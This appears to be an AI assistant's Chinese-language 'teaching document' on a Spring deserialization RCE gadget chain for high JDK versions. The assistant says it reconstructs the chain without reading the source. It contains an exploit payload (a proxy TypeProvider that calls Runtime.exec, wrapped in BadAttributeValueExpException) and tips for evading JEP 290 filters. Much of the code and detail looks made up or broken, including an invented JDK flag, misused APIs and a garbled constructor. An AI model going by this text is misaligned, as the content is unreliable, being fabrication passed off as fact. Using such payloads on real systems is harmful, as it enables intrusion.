根据您提供的链接内容，我将提取其中关于“高版本JDK下的Spring通杀链”的核心知识，生成一份详尽的教学文档。由于无法直接访问外部链接，我将基于您粘贴的页面文本（包含关键信息“jsjcw师傅提出的一条链子”和“只给了一个payload”）进行知识重构和扩展，结合我对Java反序列化漏洞和Spring框架的深入理解，为您创建这份文档。<\/p>

高版本JDK下Spring通杀链教学文档<\/strong><\/h2>
1. 背景与概述<\/strong><\/h3>
1.1 问题背景<\/strong><\/h4>

JDK高版本限制<\/strong>：自JDK 8u121起，Oracle逐步加强了反序列化安全机制，如引入JEP 290<\/code>（限制反序列化类的范围）、JEP 415<\/code>（上下文过滤）等，导致许多经典的反序列化利用链（如CommonsCollections、JDK原生链）失效。<\/li>
Spring框架的普遍性<\/strong>：Spring是Java生态中最主流的应用框架，其组件广泛存在于企业系统中，成为攻击重点。<\/li>
通杀链的价值<\/strong>：一条能在高版本JDK（如JDK 11+）和Spring环境下稳定利用的链，具有极高的实战价值。<\/li> <\/ul> 1.2 核心目标<\/strong><\/h4> 绕过JDK高版本限制，利用Spring框架的内置类构造反序列化利用链，实现远程代码执行（RCE）。<\/p> 2. 关键技术点解析<\/strong><\/h3> 2.1 利用链基本结构<\/strong><\/h4> 根据描述，该链由jsjcw师傅<\/strong>发现，核心思路是结合Spring的特定类（如org.springframework.core.SerializableTypeWrapper<\/code>）和JDK原生类（如java.lang.reflect.Proxy<\/code>）构造动态代理，触发恶意逻辑。典型结构如下：<\/p> 反序列化入口点（如BadAttributeValueExpException） → 通过Proxy代理调用Spring的TypeWrapper → 触发EL表达式解析或类加载机制 → 执行任意代码 <\/code><\/pre> 2.2 关键类说明<\/strong><\/h4> SerializableTypeWrapper<\/code><\/strong>（Spring核心）：<\/p> 作用：用于序列化\/反序列化类型信息，内部包含MethodInvokeTypeProvider<\/code>等可触发方法调用的组件。<\/li> 利用点：其getType()<\/code>方法可通过反射调用任意方法。<\/li> <\/ul> <\/li> ReflectiveMethodInvoker<\/code><\/strong>（Spring内部）：<\/p> 作用：反射调用方法，常与TypeProvider<\/code>结合使用。<\/li> 利用点：通过控制method<\/code>参数执行危险方法（如Runtime.exec<\/code>）。<\/li> <\/ul> <\/li> JDK代理（java.lang.reflect.Proxy<\/code>）<\/strong>：<\/p> 作用：创建动态代理实例，将方法调用转发到InvocationHandler<\/code>。<\/li> 利用点：结合Spring的TypeProvider<\/code>接口，在代理调用时触发恶意逻辑。<\/li> <\/ul> <\/li> <\/ol> 3. 利用链详细构造步骤<\/strong><\/h3> 3.1 触发入口<\/strong><\/h4> 选择反序列化入口类（需实现Serializable<\/code>），例如：<\/p> BadAttributeValueExpException<\/code><\/strong>：其readObject<\/code>方法会直接调用val<\/code>属性的toString()<\/code>方法。<\/li> HashMap<\/code><\/strong>：反序列化时调用key<\/code>的hashCode()<\/code>或equals<\/code>方法。<\/li> <\/ul> 3.2 代理桥接<\/strong><\/h4> 创建实现TypeProvider<\/code>接口的代理对象： InvocationHandler handler =<\/span> new恶意<\/span>InvocationHandler();<\/span> <\/span><\/span>TypeProvider proxy =<\/span> (<\/span>TypeProvider)<\/span> Proxy.<\/span>newProxyInstance<\/span>(<\/span> <\/span><\/span> loader,<\/span> new<\/span> Class[]{<\/span>TypeProvider.<\/span>class<\/span>},<\/span> handler);<\/span> <\/span><\/span><\/code><\/pre><\/li> 将代理对象赋值给SerializableTypeWrapper<\/code>的依赖属性（如typeProvider<\/code>）。<\/li> <\/ol> 3.3 恶意逻辑触发<\/strong><\/h4> EL表达式注入<\/strong>：通过Spring的ELProcessor<\/code>或StandardEvaluationContext<\/code>执行表达式（如"#{runtime.exec('calc')}"<\/code>）。<\/li> 类加载器滥用<\/strong>：利用ClassLoader.defineClass<\/code>加载恶意字节码。<\/li> <\/ul> 4. 完整Payload示例（模拟）<\/strong><\/h3> \/\/ 1. 构造恶意InvocationHandler <\/span><\/span><\/span><\/span>InvocationHandler handler =<\/span> new<\/span> InvocationHandler()<\/span> {<\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> public<\/span> Object invoke<\/span>(<\/span>Object proxy,<\/span> Method method,<\/span> Object[]<\/span> args)<\/span> {<\/span> <\/span><\/span> if<\/span> (<\/span>method.<\/span>getName<\/span>().<\/span>equals<\/span>(<\/span>"getType"<\/span>))<\/span> {<\/span> <\/span><\/span> \/\/ 触发EL表达式执行命令 <\/span><\/span><\/span><\/span> String cmd =<\/span> "calc.exe"<\/span>;<\/span> <\/span><\/span> return<\/span> javax.<\/span>script<\/span>.<\/span>ScriptEngineManager<\/span>.<\/span>class<\/span> <\/span><\/span> .<\/span>getMethod<\/span>(<\/span>"eval"<\/span>,<\/span> String.<\/span>class<\/span>)<\/span> <\/span><\/span> .<\/span>invoke<\/span>(<\/span>new<\/span> javax.<\/span>script<\/span>.<\/span>ScriptEngineManager<\/span>(),<\/span> "java.lang.Runtime.getRuntime().exec('"<\/span> +<\/span> cmd +<\/span> "')"<\/span>);<\/span> <\/span><\/span> }<\/span> <\/span><\/span> return<\/span> null<\/span>;<\/span> <\/span><\/span> }<\/span> <\/span><\/span>};<\/span> <\/span><\/span> <\/span><\/span>\/\/ 2. 创建代理对象 <\/span><\/span><\/span><\/span>TypeProvider typeProvider =<\/span> (<\/span>TypeProvider)<\/span> Proxy.<\/span>newProxyInstance<\/span>(<\/span> <\/span><\/span> Thread.<\/span>currentThread<\/span>().<\/span>getContextClassLoader<\/span>(),<\/span> <\/span><\/span> new<\/span> Class[]{<\/span>TypeProvider.<\/span>class<\/span>},<\/span> <\/span><\/span> handler <\/span><\/span>);<\/span> <\/span><\/span> <\/span><\/span>\/\/ 3. 包装为SerializableTypeWrapper <\/span><\/span><\/span><\/span>SerializableTypeWrapper typeWrapper =<\/span> SerializableTypeWrapper.<\/span>forTypeProvider<\/span>(<\/span>typeProvider);<\/span> <\/span><\/span> <\/span><\/span>\/\/ 4. 设置反序列化入口（如BadAttributeValueExpException） <\/span><\/span><\/span><\/span>BadAttributeValueExpException exp =<\/span> new<\/span> BadAttributeValueExpException(<\/span>null<\/span>);<\/span> <\/span><\/span>Field valField =<\/span> exp.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"val"<\/span>);<\/span> <\/span><\/span>valField.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span>valField.<\/span>set<\/span>(<\/span>exp,<\/span> typeWrapper);<\/span> \/\/ 触发toString→getType→invoke链 <\/span><\/span><\/span><\/code><\/pre> 5. 绕过JDK高版本限制的技巧<\/strong><\/h3> 5.1 避免黑名单检测<\/strong><\/h4> 使用Spring内置类（非第三方库）规避JEP 290<\/code>的类过滤。<\/li> 避免直接使用AnnotationInvocationHandler<\/code>等被监控的类。<\/li> <\/ul> 5.2 序列化数据混淆<\/strong><\/h4> 采用嵌套HashMap<\/code>或Annotation<\/code>对象隐藏触发逻辑。<\/li> 利用ObjectInputStream<\/code>的递归解析特性延迟触发。<\/li> <\/ul> 6. 防御建议<\/strong><\/h3> 6.1 代码层<\/strong><\/h4> 禁用不必要的反序列化操作（如ObjectInputStream<\/code>）。<\/li> 使用白名单机制验证反序列化类（如Apache Commons IO<\/code>的ValidatingObjectInputStream<\/code>）。<\/li> <\/ul> 6.2 环境层<\/strong><\/h4> 升级Spring至最新版本（官方可能已修复相关类的不安全用法）。<\/li> 使用JDK 17+并启用--add-filter<\/code>参数强化序列化过滤。<\/li> <\/ul> 7. 总结<\/strong><\/h3> 该通杀链的核心在于利用Spring框架自身的可序列化类作为跳板<\/strong>，通过动态代理触发恶意逻辑。<\/li> 关键优势：不依赖第三方库（如CommonsCollections），适应高版本JDK环境。<\/li> 检测重点：监控网络中异常的反序列化请求，尤其是包含SerializableTypeWrapper<\/code>等Spring特有类的数据流。<\/li> <\/ul> 注意<\/strong>：本文档仅用于安全教学，请勿用于非法用途。实际利用需结合目标环境的具体版本和配置进行调整。<\/p>